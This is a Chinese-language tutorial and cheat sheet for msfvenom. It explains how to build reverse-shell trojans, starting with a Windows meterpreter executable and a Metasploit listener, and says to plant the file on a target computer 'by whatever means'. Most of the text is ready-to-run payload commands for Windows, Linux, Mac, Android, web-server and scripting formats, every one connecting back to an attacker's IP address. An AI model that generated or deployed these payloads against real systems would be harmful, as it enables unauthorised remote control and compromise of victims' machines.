目录
3.3、第三步:将shell.exe植入到windows运行
一、简介:
msfvenom是msfpayload,msfencode的结合体
可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线
二、命令参数
选项: -l, --list <type> # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等 -p, --payload <payload> # 指定特定的 Payload,如果被设置为 - ,那么从 标准输入流中读取 --list-options # 列出--payload <value> 的标准,高级和规避选 项 -f, --format <format> # 指定 Payload 的输出格式(使用 --list formats 列出) -e, --encoder <encoder> # 指定使用的 Encoder (使用 --list encoders 列出) --sec-name <value> # 生成大型Windows二进制文件时使用的新名称。默认 值:随机4个字符的字符串 --smallest # 使用所有可用的编码器生成最小的payload --encrypt <value> # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出) --encrypt-key <value> # 用于加密的密钥 --encrypt-iv <value> # 加密的初始化向量 -a, --arch <arch> # 指定目标系统架构(使用 --list archs 列出) --platform <platform> # 指定目标系统平台 (使用 --list platforms 列 出) -o, --out <path> # 保存payload文件 -b, --bad-chars <list> # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff' -n, --nopsled <length> # 指定 nop 在 payload 中的数量 -s, --space <length> # 设置未经编码的 Payload 的最大长度 --encoder-space <length> # 编码后的 Payload 的最大长度 -i, --iterations <count> # 设置 Payload 的编码次数 -c, --add-code <path> # 指定包含一个额外的win32 shellcode文件 -x, --template <path> # 指定一个特定的可执行文件作为模板 -k, --keep # 保护模板程序的功能,注入的payload作为一个新的 进程运行 -v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到 一个 python变量中,这个参数即为指定 python 变量的变量名) -t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为 30,0为禁用) -h, --help # 帮助
三、使用方法:
(以Windows为例)
3.1、第一步:生成shell.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 LPORT=9999 -f exe -o /root/shell.exe
(还可以加上 -e 加上编码器……)
3.2、第二步:设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.190.131
set LPORT 9999
run
处于等待状态了
3.3、第三步:将shell.exe植入到windows运行
各显神通……
然后等待监听状态
就会监听到运行shell.exe的电脑
3.4、第四步:get到了
执行各种……
四、生成shellcode
4.1、普通生成
msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o /root/payload.exe
4.2、编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.190.131 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o /root/payload.exe
五、生成格式
5.1、 Windows
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -i 3 LHOST=192.168.190.131 lport=4444 -e x86/shikata_ga_nai -f exe -o /root/payload.exe
5.2、Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp lhost=192.168.190.131 lport=4444 -f elf -o /root/payload.elf
5.3、Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp lhost=192.168.190.131 port=4444 -f macho -o payload.macho
5.4、Android
msfvenom -p android/meterpreter/reverse_tcp -o /root/payload.apk
5.5、Aspx
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 lport=4444 -f aspx -o /root/payload.aspx
5.6、JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.190.131 lport=4444 -f raw -o /root/payload.jsp
5.7、PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.190.131 lport=4444 -f raw -o /root/payload.php
5.8、BASH
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.190.131 lport=4444 -f raw -o /root/shell.sh
5.9、Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.131 port=4444 -f raw -o /root/shell.py
5.10、War
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 lport=4444 -f war
5.11、Perl
msfvenom -p cmd/unix/reverse_perl lhost=192.168.190.131 lport=4444 -f perl
5.12、Asp
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.131 port=4444 -f asp